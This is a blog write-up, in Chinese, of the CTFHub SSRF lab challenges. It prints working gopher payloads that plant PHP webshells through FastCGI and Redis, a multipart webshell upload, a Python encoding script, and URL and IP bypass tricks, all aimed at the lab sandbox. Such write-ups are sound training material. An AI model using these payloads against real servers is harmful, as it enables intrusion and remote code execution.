CTFHub-Web-SSRF

CTFHub-Web-SSRF-WP

一、内网访问

1.题目提示说访问127.0.0.1的flag.php,在URL后面添加路径没想到直接访问成功

image-20240417105839461

二、伪协议读取文件

1.题目提示说访问Web目录下的flag.php,联想到Web目录一般存放于/var/www/html/里,去修改URL尝试进行访问。页面显示???,那就尝试查看源代码得到flag

image-20240417110507525

三、端口扫描

1.题目提示说是在8000-9000端口之间,先尝试访问一下8000端口,发现可以访问成功但是没有flag

image-20240417111425619

2.开启Burp抓取刷新数据包发送到intruder

image-20240417111536369

3.选择攻击模式,选择攻击位置,添加攻击

image-20240417111701515

4.设置攻击类型为数值型,设置攻击范围为8001-9000

image-20240417111905823

5.攻击结束后查看长度最长的那个端口号

image-20240417112043686

6.重新进入网站访问该端口发现flag

image-20240417112210308

四、POST请求

1.访问127.0.0.1/flag.php发现了源码中有个key

image-20240417113327043

2.根据Gopher数据包格式构造数据包,尝试进行发送后没有得到Flag

image-20240424224340837

3.根据Gopher数据包特性将URL进行三次编码后重新发送

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=85dd6ab1a18c2fabacb046757c84de0b

4.最后得到Flag

image-20240424225954544

五、上传文件

1.打开题目使用file方法打开页面发现有文件上传的入口但是没有提交的选项

http://challenge-f3dab308714b77d2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

image-202404242320033572.查看源代码

image-20240424232129319

3.修改HTML源码添加上传按钮

<input type="submit" value="提交">

image-20240424233611574

4.上传一句话木马并抓包

image-20240425001908720

5.将抓到的数据包使用Python程序进行URL编码

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------188096258926377729394142365703
Content-Length: 264
Origin: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-44de14acddfd51b9.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------188096258926377729394142365703
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST["shell"]);?>

-----------------------------188096258926377729394142365703--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

image-20240425003902356

6.将输出的结果粘贴到URL中获取Flag

image-20240425003942647

六、FastCGl协议

1.打开网页后什么都没有,根据提示攻击FastCGl,首先下载Gopherus

image-20240425172905873

2.下载完成后打开gopherus,输入目标文件路径和对一句话木马所进行的base64位编码程序,存储在shell.php文件中

一句话木马

<?php @eval($_POST['x']);?>

将木马进行base64编码后存储为shell.php文件中

cho “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php

经过payload编码后得到

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH127%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%7F%04%00%3C%3Fphp%20system%28%27echo%20%E2%80%9CPD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8%2BCg%3D%3D%E2%80%9D%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

image-20240425173012910

3.将生成的编码数据复制到靶场的url后面将木马进行上传

image-20240425173413283

4.上传完成后使用蚁剑进行连接

image-20240425173517807

5.进入文件管理即可找到flag文件

在这里插入图片描述

七、Redis协议

1.启动gopherus,选择PHPShell,输入一句话木马生成URL编码

image-20240425175740272

生成的URL编码

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27x%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

2.将生成后的编码再进行一次编码

image-20240425175848799

Python脚本

import urllib.parse
 
payload = ""

tmp = urllib.parse.quote(payload)
print(tmp)

3.将Python程序编码后的结果,输入到URL中进行上传

image-20240425175954763

4.使用蚁剑进行连接

image-20240425175544157

5.打开根目录发现flag文件所在位置

image-20240425175605575

八、URL Bypass

1.http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com

image-20240425180328293

2.直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php得到flag

image-20240425180317033

九、数字IP Byepass

1.老样子先访问flag.php查看内容

image-20240425180928561

2.根据题目提示说,不能使用数字了,那就把数字转换为其他进制进行访问即可得到flag

127.0.0.1–>2130706433     十进制

image-20240425181039604

十、302跳转Bypass

1.访问flag.php发现提示不能访问IP

image-20240425181437746

2.那就改成localhost尝试进行访问,flag直接出来了

image-20240425181606800

十一、DNS重绑定Bypass

1.出题人好像忘记改了,直接输入localhost就能访问flag

image-20240425181758538


  • 38
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
CTFHub是一个CTF(Capture The Flag)比赛平台,提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF(Server-Side Request Forgery)相关的内容,包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理,并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以,CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHubSSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树笔记之SSRF:内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值